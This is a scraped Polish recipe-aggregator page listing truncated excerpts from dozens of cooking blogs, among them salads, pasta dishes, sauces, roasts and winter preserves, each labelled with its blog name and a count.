Obiad w pół godziny: frytki, sos tzatziki, medaliony z cukinii i surówka (ogórki, pomidory, sałata lodowa, papryka czerwona, olej z pestek winogron, sól, pieprz). Jak przygotować medaliony? Pokrój cukinię (1 średniej wielkości) w ukośne plastry. Ułóż na talerzu i posól. Po 2-3 godzinach odlej wodę (lub posól je wieczorem, a następnego dnia zajmij się resztą). Panieruj plastry najpierw

Qlinarnie i Qlinarnie
Faszerowany schab pieczony w boczku 369

wędzonego boczku najlepiej w plasterkach goździki całe sól pieprz ziołowy papryka słodka mielona NADZIENIE: 300 g mięsa mielonego z łopatki 1 mała cebula 1 jajko 4 łyżki sosu z pieczonej papryki ajvar 1 łyżeczka koncentratu pomidorowego 2 łyżki płatków owsianych sól pieprz kolorowy papryka słodka mielona Mięso mielone połączyć z drobno posiekaną cebulą i pozostałymi składnikami nadzienia. Dobrze doprawić

https:KKuchniaMniam
Makaron z jarmużem i pieczonym bakłażanem 186

następnie zalewamy bulionem i wodą. Dodajemy paprykę pokrojoną w podłużne pasy, dusimy kilka minut, pod koniec wrzucamy podpieczone plastry bakłażanów, zaprawiamy śmietanką z mąką, doprowadzamy do wrzenia. Do sosu warzywnego przekładamy ugotowany makaron, mieszamy, zdejmujemy z ognia. Na koniec dodajemy liście jarmużu i mieszamy.  Na zdrowie

Apetyczna babeczka
Wybierasz się na Podhale? Koniecznie odwiedź to miejsce! 168

dostaniemy bylejakości i tłustych, niezdrowych dań. W większości propozycje w menu są „fit”. Świetnym przykładem są pieczone frytki z batata, selera i buraka zaserwowane z własnej roboty sosem BBQ. Co polecam zamówić? Obecnie w menu dla roślinożerców mamy trzy kanapki, dwie zupy, makaron, pizze, koktajle, frytki, ciasto, ciastka, kawy… jest w czym wybierać. Jeśli jednak miałbym polecić

Blendman
PASTA ZIELONE CURRY 152

łyżeczki skórki z limonki 1 łyżeczka soku z limonki 1/4 łyżeczki kuminu 1/3 łyżeczki soli Do moździerza wrzucamy wszystkie składniki i ucieramy na pastę. Przechowujemy w lodówce. Dodajemy do sosów typu curry, zup tajskich i dań kuchni azjatyckiej

KuchcikoweLove
Przecier z pomidorów malinowych 163

Każdego roku przygotowuję taki przecier na zimę, jest bardzo zdrowym i smacznym dodatkiem do zup, sosów i wielu innych dań.  Składniki: 5 kilogramów pomidorów malinowych 2 łyżki soli niejodowanej Sposób przygotowania: Pomidory dokładnie myjemy, usuwamy zielone części, kroimy na mniejsze kawałki. Mielimy w maszynce do mielenia na sitku o grubych oczkach. Przekładamy do dużego garnka z grubym dnem, dusimy

Bajeczna Kuchnia
Penne z sosem cukiniowym 191

kostkę (nie musi być drobna) i dorzucić do cebuli. Dusić całość, aż cukinia będzie miękka. Następnie wszystko zblendować, dodać przyprawy i chwilkę pogotować. Makaron penne wyłożyć na talerz, polać sosem cukiniowym, obsypać pokrojonym w kostkę pomidorem. Na wierzch można ułożyć kawałki gotowanego kurczaka. Inne przepisy z CUKINIĄ możecie znaleźć u: Karoliny - Ciasto z cukinii i Lazania z cukinii Alicji - Kasza

Wilczkowy Świat - nasze codzienne gotowanie
Sałatka z jabłek, cykori i granatu z sosem miodowo-musztardowym 162

sałatka, która pasuje do dań obiadowych ale tez można ją potraktować jako osobne danie. Lekko ostra cykoria, chrupiące jabłka i granat, który daje charakterystyczną nutę smakową. Wszystko to skropione sosem miodowo-musztardowym - jedynym z moich ulubionych o tej porze roku

Milion Smaków
Marynowane grzybki 174

Grzyby marynowane… Jak dla mnie co roku nie muszę robić dżemów, soków, sosów i innych pyszności do domowej spiżarni na zimę. Ale grzybki muszą być i kropka! Święta bez domowych marynowanych grzybów uważam za nieodbyte Co lepiej smakuje do kanapki z wędliną czy do sałatki a nawet na imprezę do alkoholu… tak, tak… właśnie one. Niepozorne grzybki

Mieszam w Garnku
Focaccia z gorgonzolą i gruszką na cieście z wędzoną papryką 221

zewnątrz i miękka w środku. Nie była okrągła, lecz miała rustykalny, nieregularny kształt osiągany przez rozciąganie opuszkami palców. Przypominała mi właśnie focaccię, którą Marco Ghia nazywa pizzą bez dodatku sosu pomidorowego. Dzisiejszy przepis - ciasto z wędzoną papryką, przygotowywane jest na bazie ciasta na pizzę rzymską. Jest oryginalne w smaku, ma obłędny kolor, a gdy się piecze w całej kuchni czuć

Chilli Czosnek i Oliwa
Gnocchi dyniowe 145

uformować widelcem w kształt wałeczka tak, by były widoczne "rowki". Gotowe gnocchi wrzucać do osolonej wrzącej wody i gotować przez chwilę (aż wypłyną na wierzch). Podawać z ulubionymi dodatkami, sosami, lub tak jak u nas z - natką pietruszki. (adsbygoogle = window.adsbygoogle || []).push

Wilczkowy Świat - nasze codzienne gotowanie
OMLET BISZKOPTOWY Z NASIONAMI CHIA 247

Można również dodawać je do jogurtu, musli, sałatek, warzyw czy dań z ryżu. Ze względu na ich zdolność do wchłaniania wody i tłuszczu,  mogą być stosowane do zagęszczania sosów i zup. Dodawanie nasion chia do różnych produktów znacznie zwiększy ich wartość odżywczą. Zalecane spożycie to 20 g (około 1,5 łyżki stołowej) nasion chia, dwa razy dziennie. Po połączeniu

potrawyregionalne
Surówka z brokuła 566

diety. Składniki: - 1 brokuł - 1 czerwona papryka - 4 cebule dymki, biała i zielona część - puszka białej fasoli - sól Dressing: - 6 łyżek oleju rzepakowego lub oliwy z oliwek - 2 łyżki sosu balsamicznego - 3 ząbki czosnku - pieprz 1. Warzywa umyć. Brokuła kroimy na cienkie plastry, posypujemy solą, mieszamy i odstawiamy na pół godziny.  2. Paprykę i cebulę drobno kroimy, łączymy

Apetyczna babeczka
Hiszpańska tortilla ziemniaczana 462

ziemniaki nadziewane różnymi dobrociami, pieczone - oczywiście najlepsze są z ogniska! Albo w hiszpańskiej tortilli ziemniaczanej. Można ją urozmaicić dodatkiem pikantnego chorizo, warzyw albo podać z ajwarem, czy innym pikantnym sosem. Jest wyśmienita na ciepło i po wystygnięciu. To pyszne i sycące danie na jesienne dni. Spróbujcie sami! Składniki (na patelnię o średnicy 20 cm, porcja dla 2 osób) 4 duże

Kulinarne Inspiracje
Sałatka warzywna z kurczakiem babci Basi 182

jajka oraz przepołowione pomidorki. Posypujemy piórkami startej marchewki, startym parmezanem, kukurydzą i cebulą pokrojoną w piórka. Z jogurtu, drobno pokrojonego ogórka zielonego, zmiażdżonego czosnku, soli, pieprzu i koperku przygotowujemy sos. Polewamy nim sałatkę. Doprawiamy świeżo zmielonym pieprzem. Dekorujmy paskami zielonego ogórka

Pysznosci Babci Basi
Najzdrowsza dieta – śródziemnomorska , babcia Basia 164

niż inni Europejczycy. Dlaczego ? Bo zdrowo się odżywiają! Jedzą dużo warzyw, a niewiele mięsa, które czasem jest tylko dodatkiem do potraw. W kuchni śródziemnomorskiej nie zagęszcza się zup i sosów śmietaną i mąką. Potrawy przygotowuje się w wodzie i na parze, piecze na ruszcie i w folii. Nie smaruje się chleba masłem, a do przyrządzania ciepłych dań używa się oliwy

Pysznosci Babci Basi
Danie jednogarnkowe – bigos po cygańsku babci Basi 206

Przyprawiamy mięso na klopsiki, dodajemy czosnek, cebulę, pieprz, sól, jajko, , przyprawę delikat Knorr’ do mięsa, majeranek. Dobrze wyrabiamy masę i formujemy małe klopsiki Smażymy na oleju. Przygotowujemy produkty do sosu : Cebulę kroimy w piórka, pieczarki w cienkie plasterki, Uwaga : jeśli mamy małe pieczarki, to część z nich możemy zostawić w całości , będzie więcej kulek w bigosie. Na patelnię , gdzie smażyliśmy

Pysznosci Babci Basi
Makaron z grzybami i chrupką szynką babci Basi 339

minutach makaron będzie gotowy, odcedzamy i zostawiamy na boku. Do szynki i grzybów dodajemy 200 gramów kwaśnej śmietany, M ieszamy i dusimy na wolnym ogniu. Następnie dodajemy makaron do sosu połowę tartego sera ( druga część pozostaje do posypania przed podaniem ) I na końcu dodajemy większą część pokrojonej pietruszki. Wszystko razem porządnie wymieszać. Do potrawy dodajemy trochę soli i pieprzu. Przed

Pysznosci Babci Basi
Surówka ze świeżej kapusty z musztardą babci Basi 271

pęczka szczypiorku, Sposób przygotowania : Kapustę drobno poszatkować , włożyć do miski , posolić, wymieszać i lekko podusić , żeby się trochę zmorzyła.   Koperek i szczypiorek drobno pokroić . W naczyniu zrobić sos : wlać olej, dodać musztardę, cukier,ocet i pieprz do smaku. Wszystko wymieszać i dodać do zmorzonej kapusty i gotowe ! Smacznego

Pysznosci Babci Basi
Udka z kapustą i ananasem babci Basi 369

rumiano, a później dodając trochę wody dusimy je ok. 15 min. Podpieczone mięso wyjmujemy na talerz . W naczyniu żaroodpornym układamy kapustę , a na nią podsmażone mięso. Całość polewamy przygotowanym sosem : W rondelku topimy masło, dodajemy miód i ketchup. Wszystko mieszamy i w razie potrzeby doprawiamy solą i pieprzem. Zapiekamy pod przykryciem ok. 45 min w temp. 150 st. C. Smacznego

Pysznosci Babci Basi
Kurczak peklowany pieczony w całości w piekarniku babci Basi 382

nakładamy na stojak lub wkładamy na blaszkę z rusztem i umieszczamy w piekarniku nagrzanym w temp. 180 st. C z termoobiegiem na 90 min. W między czasie polewamy go sosem z pieczeni ! Po tym czasie wyłączamy termoobieg i kurczaka pozostawiamy w piekarniku przez kolejne ok. 30 minut (przy wyłączonym termoobiegu). Kiedy kurczak się pięknie przyrumieni jest już gotowy do spożycia

Pysznosci Babci Basi
Frużelina z całymi truskawkami na zimę babci Basi 237

zrobienia konfitury pomyliłam się i od razu do truskawek wsypałam cukier i rozmieszałam . Nie wiedząc co mam zrobić z tym fantem zaczęłam podgrzewać i w efekcie końcowym uzyskałam gęsty sos z całymi truskawkami – taką frużelinę, bo truskawki nie rozgotowały się jak do konfitury. Podaję przepis , który jest taki prawie sam jak na konfiturę , tylko, że smażymy krócej

Pysznosci Babci Basi
Pikantne spaghetti z klopsami 235

czasu mieszając. Do garnka dodaj kotlety i resztę składników i duś na małym ogniu ok. 7 minut. Makaron ugotuj al`dente - odcedź i wyłóż na talerze a następnie polej sosem z klopsami. Danie możesz posypać startym serem

Alutka-Gotuje
Spaghetti z krewetkami i pomidorkami 216

krewetki, podsmażamy pół minuty i dorzucamy przekrojone pomidorki. Solimy. Smażymy na większym ogniu, aż pomidorki puszczą sok. Dodajemy posiekaną bazylię. Makaron wyciągamy z garnka (bez odcedzania) i przekładamy do sosu. Mieszamy i potrząsamy kilkukrotnie patelnią by napowietrzyć makaron. Na koniec doprawiamy pieprzem. Podajemy i przystrajamy bazylią. Smacznego :)   1 porcja - 600 kcal - białka - 24 g - tłuszcze - 22 g - węglowodany

Moje Kuchenne Rewelacje
Placki ziemniaczane podane z pesto z rukoli i jajkiem w koszulce 183

wypadku idealna propozycja na śniadanie! Lekki dodatek pesto z rukoli, jajko w koszulce i kilka pomidorów to pomysł na odczarowanie ciężkich placków ziemniaczanych, które zazwyczaj podaje się z tłustym sosem lub cukrem. Tym razem z delikatnym, zielonym pesto i lekkimi dodatkami. A i same placki w wersji bezglutenowej. Składniki (na 2 -3 porcje): 300 gram ziemniaków 1 jajko szczypta soli

Mango Papaja
Czekoladowe bezglutenowe babeczki z pomarańczową skórką (na mące z czerwonej soczewicy) 187

pomarańczowej barwie. A co najważniejsze jest zdrowa, ma bardzo dużą ilość białka. Można ją stosować zarówno do wypieków – jak wspomniane czekoladowe babeczki – jak i np. do zagęszczania sosów. Warto w swojej kuchni poznawać nowe smaki i produkty. Składniki: (na około 7 większych babeczek) 3 łyżki ciemnego kakao do wypieków (u mnie bezglutenowe) 1 i 1/3 szklanki mąki

Słodkie okruszki
Babka ziemniaczana 199

termoobiegiem (jeśli góra babki będzie się za bardzo przypiekać przykryć ją folią aluminiową). Babkę można podać zarówno na ciepło jak i na zimno z ulubionym sosem, śmietaną lub surówką

Simply Food
Makaron z brokułami i czosnkiem 229

przyjął się w moim rodzinnym domu "od pierwszego ugotowania". Teraz po lekkich modyfikacjach ja przygotowuję go dla męża, któremu również bardzo zasmakował ten mocno czosnkowy makaron w śmietanowym sosie.  Składniki na 4-5 porcji: 1 brokuł 400 g makaronu penne 500 g piersi z kurczaka 1 cebula 1 średnia główka czosnku 1 duża śmietana 18% 1 mała śmietana

Simply Food
Kapusta po bawarsku 294

bulion. Całość przyprawić solą, pieprzem i majerankiem oraz wlać ocet. Wymieszać i dusić pod przykryciem około 20-25 minut. Pod koniec można zdjąć pokrywkę i gotować do lekkiej redukcji sosu. Ugotowana kapusta wyraźnie się skurczy.  Smażenie i karmelizowanie boczku Duszenie kapusty

Ugotować
Dynowelove, czyli naleśnikowa lasagne 178

papryki dodajemy jajko i zagęszczamy mąką. Na średnim ogniu smażymy grube naleśniki. Można smażyć je tylko z jednej strony. Wykładamy naleśnikami dno formy do pieczenia. Wykładamy mięso z sosem. Smażymy kolejną porcję naleśników i przykrywamy nimi mięsną warstwę. Cukinię z serem odcedzamy i wykładamy kolejną warstwę. Nakrywamy ją kolejną porcją naleśników. Wylewamy wierzch wylewamy passatę i pozostałe puree z dyni

Kucharzyca
Irlandzki gulasz wieprzowy na piwie. 182

Gulasz wieprzowy kiedy jest gotowany powoli i na małym ogniu w towarzystwie piwa typu porter lub stout (np. Guinness) zaczyna przypominać charakterem gulasz wołowy. Sos staje się ciemny i esencjonalny - bardzo aromatyczny. Piwo oczywiście traci po drodze alkohol i większość goryczki, która łączy się harmonijnie z nutami kwaśnymi i słodkimi. Powstaje pyszne obiadowe danie, które jeszcze lepsze staje się

zadanie-gotowanie
Suszona papryka 175

Kiedy nastaje pora na świeżą paprykę kupuje małą ostrą i suszę. Dodaję ją do rosołu .  Krupnik również smakuje mi na ostro. A do sosów jest nie zastąpiona. W tym roku mam w ogrodzie krzak ostrej papryczki i kiedy strąki dojrzewają, systematycznie je zrywam i suszę

Proste Potrawy
Mocno czosnkowa sałatka brokułowa 711

gniazda nasiennego i pokroić w kostkę. Ser żółty również pokroić w kostkę. Kukurydzę osączyć z zalewy na sicie. Wszystkie składniki przełożyć do miski i wymieszać. Dodać wcześniej przygotowany sos i jeszcze raz wymieszać

Monia miesza i gotuje
Makaron w sosie szpinakowym 132

bulionem i jeśli robimy wersję z mięsem dodajemy obsmażonego fileta pokrojonego w kostkę. Wszystko razem dusimy przez 2-3 minuty. 3. Śmietanę łączymy z mąką, a następnie zagęszczamy nią sos szpinakowy, doprowadzamy do wrzenia, przyprawiamy i łączymy z odcedzonym makaronem, mieszamy i gorący nakładamy na talerze. Podajemy ze świeżymi pomidorami

Apetyczna babeczka
Kurczak pieczony w panierce z krakersów (w marynacie jogurtowej/śmietanowej) 228

rewelacyjnego smaku jest bardzo uniwersalny. Marynata sprawia, że mięso jest niezwykle soczyste i miękkie, a krakersy nadają mu odmiennego smaku. U mnie świetnie sprawdza się jako przekąska z ulubionym sosem, dodatek do domowych hamburgerów oraz propozycja na obiad, która dobrze komponuje się z ziemniakami i surówką. Wersja pieczona jest mniej kaloryczna i posmakuje dzieciom, jak i dorosłym. Kurczaka możecie też

Di gotuje
Warzywa z piekarnika z piersią kurczaka wolno gotowaną Lidl 210

pierś z kurczaka wolno gotowana Lidl  1/2 dyni Hokkaido 1 cebula 1 mały kalafior czerwona papryka sos sojowy papryczka chili w płatkach miód 1 łyżeczka szczypta cynamonu olej rzepakowy oliwa z pestek dyni (opcjonalnie) tymianek świeży parmezan tarty   Pierś z kruczka wolno gotowaną przyrządź według przepisu na opakowaniu.  Warzywa pokrój w grubą kostkę. Kalafiora obgotowałam 10 minut

AZgotuj!
Penne z ciecierzycą i guanciale 166

zwartość patelni do momentu, aż "boczek" ładnie się wytopi. Wlewamy wino, ciecierzycę odcedzamy, dodajemy na patelnię razem z gałązką rozmarynu, smażymy na małym ogniu przez 15 minut aż powstały sos się zredukuje. Makaron gotujemy, mieszamy z zawartością patelni. Kolendrę siekamy, łączymy z makaronem, posypujemy świeżo mielonym pieprzem i podajemy

Gotowanie i blogowanie
Fuczki - placki z kiszoną kapustą 576

wywodzi się z Bieszczad i są to placki z ciasta naleśnikowego wraz z dodatkiem ugotowanej kiszonej kapusty. Fuczki będą świetnie smakować podane ze śmietaną jak i ulubionym sosem, np. pieczarkowym, pieczeniowym.  Składniki na porcję dla 2 osób: 250 g kiszonej kapusty 1 szklanka mąki (160 g) 1 szklanka mleka 1 szklanka wody 1 jajko sól, pieprz olej

Ugotować
Pałki z kurczaka w sosie 1000 wysp 170

Pałki z kurczaka marynowane w sosie 1000 wysp a potem upieczone są smaczne i delikatne. Co prawda nie mają chrupiącej skórki bo w marynowaniu są całe oblepione marynatą ale są smaczne. Takie pałki można zjeść z ulubionymi dodatkami a jak Wam zostaną można obrać i wykorzystać do jakiejś smaczne sałatki. Rozwiń i czytaj przepis

Ewa w kuchni
Sałatka z zielonymi pomidorami, quinoą i kabanosem z dzika 190

myjemy, osuszały, rwiemy na mniejsze kawałki i wrzucamy do miski. Dodajemy plasterki pomidorów i ogórków, pokrojone na kawałki kabanosy, posypujemy wszystko quinoa, pieprzem i siekaną natką pietruszki i polewamy sosem zrobionym z octu i oleju. Smacznego

Quinoa Raz!
Hasło tygodnia - piwo w kuchni. 194

warzenia zależy to, z jakim piwem mamy do czynienia. Wszystkie odmiany potrafią być doskonałym napojem, ale czy można wykorzystać je inaczej? Dodać do gotowania lub pieczenia? Oczywiście! Zupy, gulasze, sosy i nawet ciasta mogą zyskać nowy i wyjątkowy charakter dzięki dodatkowi piwa. Odpowiedniego piwa. Właśnie dzięki tej wielkiej różnorodności gatunków i smaków chmielowego napoju mamy możliwość zastosować je w kuchni

zadanie-gotowanie
Bezglutenowe spaghetti z krewetkami i pomidorkami koktajlowymi 181

Pomidorki przekrój na połówki. Na patelni rozgrzej oliwę, wrzuć drobno posiekany czosnek i zeszklij go przez 1 minutę.   Wlej wino, włóż pomidorki i trzymaj na mocnym ogniu, aż sos częściowo odparuje i zgęstnieje, a pomidorki się pomarszczą. Dodaj krewetki i podduś 2-3 minuty z pomidorkami.   Dopraw do smaku solą. Dodaj ugotowany makaron i wymieszaj. Przed podaniem posyp

Kuchnia bezglutenowa
Pierś kurczaka pieczona z cynamonem 216

zrobił nam naprawdę pyszny obiad. Kurczak jest soczysty i smakuje rewelacyjnie. Gorąco polecam! Składniki: 4 pojedyncze piersi z kurczaka 5 łyżek oleju 1,5 łyżki miodu 1 łyżka sosu sojowego 2 duże ząbki czosnku 1,5 łyżeczki soku z cytryny 1 łyżeczka cynamonu 1/2 łyżeczki chilli sól i pieprz do smaku Piersi kurczaka umyć i osuszyć. Czosnek przecisnąć przez praskę

kuchnia doski
Makaron fettuccine all`Alfredo 293

roztopiłem masło, wsypałem ser, wlałem śmietankę. Zagotowałem na małym ogniu 10 minut, cały czas mieszałem. Dodałem posiekana pietruszkę, pieprz i sól. Ugotowałem makaron, odcedziłem, wyłożyłem na ogrzana miskę, wlałem sos, wymieszałem. Posypałem natką i od razu podałem

R'n'G Kitchen
Kotlety z komosy ryżowej (quinoa) i jajek 176

się osobom z migrenowymi bólami głowy, cukrzycą, czy miażdżycą. Wracając do kotletów... Smakują rewelacyjnie i mojej rodzinie - od razu przypadły do gustu. Idealnie komponują się ze świeżymi warzywami, ulubionym sosem, a w moim przypadku - zajadałam się nimi bez żadnych dodatków.  Polecam! (około 7 sztuk) Kotlety: 100g quinoa 2 jajka ugotowane na twardo 1 jajko świeże 1 cebula (średnia

Di gotuje
Kotleciki jagnięce z sosem porto 212

jagodzianka" Jagnięcina to wciąż rzadkość na naszych stołach – przede wszystkim z powodu ceny jak i dostępności tego wyśmienitego mięsa. Kotleciki … Przeczytaj cały artykuł Post Kotleciki jagnięce z sosem porto pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
PLACKI TACOS 192

placki kukurydziane wywodzące się z kuchni meksykańskiej. To proste danie, które składa się z placków wypełnionych farszem. Farsz jest dowolny, mięsny, warzywny a do tego podane są pyszne sosy.  Polecam przepis na tacos

Kulinarne Fantazje Marioli
SOLONY KARMEL 253

się rozpuści ( nie przypalcie! ) dodajemy pokrojone w kosteczkę masło i energicznie mieszamy aż masa zrobi się jednolita ( ok. 2 minuty ). Wlewamy śmietankę i podgrzewam aż zrobi się idealnie kremowy sos. Zdejmujemy z ognia, solimy i gotowe! Smacznego

Ostra na Słodko
Kugiel ziemniaczany 146

smaku solą i pieprzem. Gotową masą napełniłem nasmarowaną olejem żaroodporną formę do zapiekania. Piekłem 45 minut w temperaturze 160 stopni C. Powierzchnia kugla powinna być brązowa chrupiąca. Podałem z sosem z zielonym pieprzem

R'n'G Kitchen
Shakshuka 670

Tradycyjna izraelska SHAKSHUKA, czyli smażone jajka w gęstym, pomidorowym sosem... Artykuł Shakshuka pochodzi z serwisu CookMagazine

COOKMAGAZINE
Domowa vegeta śródziemnomorska – bez chemii 407

smak i aromat . Zachęcam do robienia własnych przypraw , każdy działkowicz ma nadwyżki , które można zetrzeć , posiekać i ususzyć , a później mamy pod ręką zdrowe , bez chemicznych dodatków , bazy do sosów i zup . Składniki : 10 dość dużych, pomidorów o grubym , suchym ,miąższu i małej ilości pestek ( mocno się kurczą wysychając ) 6 dużych , czerwonych papryk słodkich 2 duże zielone papryki 4 duże

Ogrodnik w podróży
Sałatka z brokułem i fetą 205

wodą. Makaron gotujemy wg. przepisu na opakowaniu. Do miseczki dodajemy różyczki brokuła, makaron, odsączoną czerwoną fasolę, pokrojone na połówki pomidorki koktajlowe, pokrojoną w kostkę fetę i całość mieszamy z sosem przygotowanym z jogurtu naturalnego i ziół prowansalskich. Wierzch sałatki posypujemy uprażonymi pestkami dyni. Przepisy na sałatki z brokułem: Sałatka z tortellini i brokułem Sałatka makaronowa z brokułem Sałatka brokułowa

Kulinarnyblog.pl - wiesz jak gotować!
SAŁATKA Z KOTLETEM DROBIOWYM I OGÓRKAMI CURRY 272

curry w kostkę. W misce umieścić mix sałat, ogórki curry, kotlety drobiowe, rzodkiewki i odsączoną z wody kukurydzę, wymieszać. Oliwę wymieszać z sokiem z cytryny, solą i pieprzem, zalać sosem sałaty i jeszcze raz dokładnie wymieszać. Na wierzch posypać posiekany koperek

Zrób to smacznie
Sałatka z grillowanych pomidorów i rukoli z serem halloumi 191

pomidory będą prawie gotowe dołożyć na patelnię ser. Grillować kilka chwil z obu stron. Grillowane pomidory i halloumi ułożyć na rukoli, posypać suszonymi pomidorami, pestkami dyni i skropić pozostałym sosem. Smacznego! Przepis dodaję do akcji

Pełny talerz
Tęczowy tort 392

masę: Przygotować zasmażkę: Masło rozpuścić w garnku o grubym dnie, dodać mąkę i smażyć przez chwilę. Dolać mleko i energicznie mieszać dalej podgrzewając do momentu, aż znikną grudki a sos zgęstnieje. Zasmażkę ostudzić. Masło rozetrzeć z cukrem. Dalej ubijając dodawać po 1 łyżce zasmażki. Na koniec doprawić masę sokiem z cytryny. Na paterze ustawić fioletowy biszkopt, nasączyć go herbatą

Mama Gotuje
Lasagne z cukinii 214

pszenna – 2 łyżki mleko – 300 ml sól pieprz gałka muszkatołowa – 1 szczypta W rondelku roztapiamy masło, dodajemy mąkę, smażymy chwilę. Stopniowo, cały czas mieszając, wlewamy mleko. Mieszamy do zgęstnienia sosu. Doprawiamy solą, pieprzem, gałką muszkatołową. Cukinie myjemy, kroimy w cienkie plasterki. Każdy plaster smarujemy niewielką ilością oliwy i smażymy z obu stron na rozgrzanej patelni grillowej. Grillowane plastry odkładamy

Aromatyczne Podróże
Co Lila jadła w środę ? 23 (pomysły na dania dla dzieci i nie tylko) 177

kilka pomidorków. Pyszna zupa z warzywami i makaronem. Całość posypałam natką pietruszki i dodałam masło oraz odrobinę jogurtu naturalnego. II Danie 16:00 Ziemniaki, karkówka duszona z cebulką w sosie własnym i ogórki z jogurtem naturalnym.  Podwieczorek 17:30 Sok wyciśnięty z marchewki, buraka i jabłek. Kolacja 19:00 Zostały nam ziemniaki z obiadu i śliwki tak wyjątkowo

lady-och-mistrzyni.blogspot.com
Pierś z kurczaka na parze z mizerią a'la tzatziki 256

Prosty i szybki przepis na dietetyczny obiad. Pierś z kurczaka przygotowana na parze z sosem tzatziki podana z ryżem. Czas przygotowania i ilość porcji 30 minut, 2 porcje. Produkty Pierś z kurczaka, 2 ogórki, czosnek, jogurt typu greckiego, ryż, sól, pieprze, zioła prowansalskie. Przygotowanie Pierś umyj i przekrój na dwie porcje. Przypraw ją solą, pieprzem oraz ziołami i włóż

Fit&Fast Kitchen
Pizzerinki 203

Cebulę kroimy w krążki, mięso w kosteczkę, ogórki kiszone i pieczarki w plasterki. 4. Ciasto po wyrośnięciu lekko wyrabiamy, rozwałkowujemy i wykrawamy krążki (użyłam szerokiego kubka). Każdy krążek smarujemy sosem, układamy dodatki i posypujemy tartą mozzarellą. 5. Pieczemy ok 10-15 minut w 200 st C. Smacznego

Kuchnia domowa Ani
Indyjskie kotlety z dyni 176

dyni Przepis na ok. 10-12 średnich kotletów Potrzebujemy: 2 szklanki startej surowej dyni 6 łyżek mąki pszennej (lub kukurydzianej/cieciorkowej w wersji bezglutenowej) 3 łyżki wody 1 łyżka sosu sojowego 1 łyżeczka zmielonej kolendry 1/2 łyżeczki zmielonego imbiru 1/4 łyżeczki gałki muszkatołowej 1/2 łyżeczki kurkumy 2 łyżeczki curry sól, pieprz Panierka: 3-4 łyżki bułki tartej 1,5 łyżki papryki

Bananowe Pole
Małdrzyki krakowskie 212

całe jajko 1 żółtko 1 łyżka stopionego masła 1 łyżeczka cukru waniliowego 3 łyżki mąki pszennej Dodatkowo: klarowane maslo lub olej do smażenia cukier puder do posypania świeże owoce / sos z owoców / jogurt lub śmietana Twaróg, jajko, żółtko, stopione masło i cukier waniliowy - zmiksować [ ja utarłam wałkiem] na gładką i pulchną masę. Dodać mąkę i dokładnie wymieszać. Tłuszcz rozgrzać

Moje domowe kucharzenie
Gulasz z pręgi wołowej 241

Dzięki "klejowi" który jest w mięsie jest treściwy i pachnący i bardzo smakowity. Taki gulasz robię najczęściej do klusek które znakomicie "pływają" w tym znakomitym sosie. Polecam gorąco. Gulasz z pręgi wołowej. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Domowy susz z porem – przyprawa bez glutaminianu 205

Domowy susz z porem – przyprawa bez glutaminianu Susz z porem , to świetna sprawa , zawsze jest pod ręką , pasuje do wszystkiego , do ryb ,, sosów ,zup i mięsa . No, może do deserów, to bym go nie dodawała " class="wp-smiley" style="height: 1em; max-height: 1em;" />" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Generalnie jest genialny , nadaje dużo smaku

Ogrodnik w podróży
Kurczak pieczony w pomidorach 496

smaku solą i pieprzem (my daliśmy go więcej, aby był ostrzejszy) podsmażamy na patelni na odrobinie oleju. Usmażonego i odsączonego z nadmiaru tłuszczu kurczaka przekładamy do naczynia żaroodpornego, zalewamy sosem pomidorowym, posypujemy startym parmezanem i wkładamy do piekarnika nagrzanego do 170 st. C na ok. 15 minut. Smacznego! Post Kurczak pieczony w pomidorach pojawił się poraz pierwszy w Kulinarny Blog

Kulinarnyblog.pl - wiesz jak gotować!
Makaron z kurczakiem i szpinakiem 224

odrobinie masełka. W międzyczasie doprawiamy go do smaku solą i pieprzem. Jak ze szpinaku odparuje woda, dodajemy śmietanę, kurczaka i całość dusimy dosłownie 3 minuty razem. Makaron dodajemy do sosu i całość mieszamy. Danie wyśmienicie smakuje posypane odrobiną parmezanu. Smacznego! Post Makaron z kurczakiem i szpinakiem pojawił się poraz pierwszy w Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Dorada pieczona w maśle migdałowym z lubczykiem 159

łyżce marynaty, a pozostałą częścią  nacieramy boki ryby. Rybę układamy w naczyniu żaroodpornym razem z warzywami np. brokułami i pomidorami i pieczemy 25 minut. Podajemy z sosem tzatziki

Kuchnia Bon Appetit
Ziemniaczana "tarta" z cukinią, grzybami i suszonymi pomidorami 168

czasie podsmażyć grzyby razem z suszonymi pomidorami i czosnkiem. Gdy przestygną wymieszać z jogurtem naturalnym i doprawić do smaku. Na podpieczone ciasto wyłożyć pokroje plastry cukinii, a na nie sos z grzybów i suszonych pomidorów. Całość posypać pokruszonym serem gorgonzola, płatkami migdałów i suszonym rozmarynem. Piec przez 20-25 minut w 180 stopniach

Kuchnia Bon Appetit
Sałatka jajeczna z selerem konserwowym, tuńczykiem i zielonym groszkiem 222

Sałatka jajeczna z selerem konserwowym, tuńczykiem i zielonym groszkiem Składniki: Jajka – 6 sztuk Tuńczyk w sosie własnym – 1 puszka Zielony groszek konserwowy – 1 puszka Seler konserwowy – 1 opakowanie Koperek – 2 pęczki Jogurt naturalny (ewentualnie majonez) – 3-4 łyżki Musztarda – 1 łyżka Sól, pieprz Wykonanie: Jajka gotujemy na twardo, obieramy i kroimy w kostkę. Do jajek dodajemy odsączony groszek, seler

Kuchnia Bon Appetit
Produkty Parczew - recenzja 154

wyjątkowo smaczne, bez zbędnych udziwnień, dlatego też idealnie nadają się do przygotowywania różnych potraw. Moim zdecydowanym faworytem są musztardy, które wręcz uwielbiam. Stosuję je jako marynaty do mięs, składniki sosów, a w święta do domowego majonezu i jajek (musztarda chrzanowa).  Jeśli chodzi o ketchup, to nigdy nie byłam jego fanką, więc ciężko jest mi się wypowiedzieć w tej kwestii

Kuchnia Bon Appetit
Grill - inspiracje i porady 201

zaopatrzyć się w gotowe, zamarynowane mięso, które znajdziecie w sklepach Lidl (bardzo smaczne i przede wszystkim skład jest OK!!!). Marynaty przygotowuję z różnych ziół, które łączę z płynem np. sosem sojowym, winem, olejem lub ketchupem. 2. Grillowanie owoców morza - owoce morza najlepiej grillowań w formie szaszłyków (ze względu na ich niewielkie rozmiary) zamarynowane w ulubionych przyprawach z dodatkiem warzyw

Kuchnia Bon Appetit
Kuskus z pesto z natki pietruszki z warzywami 203

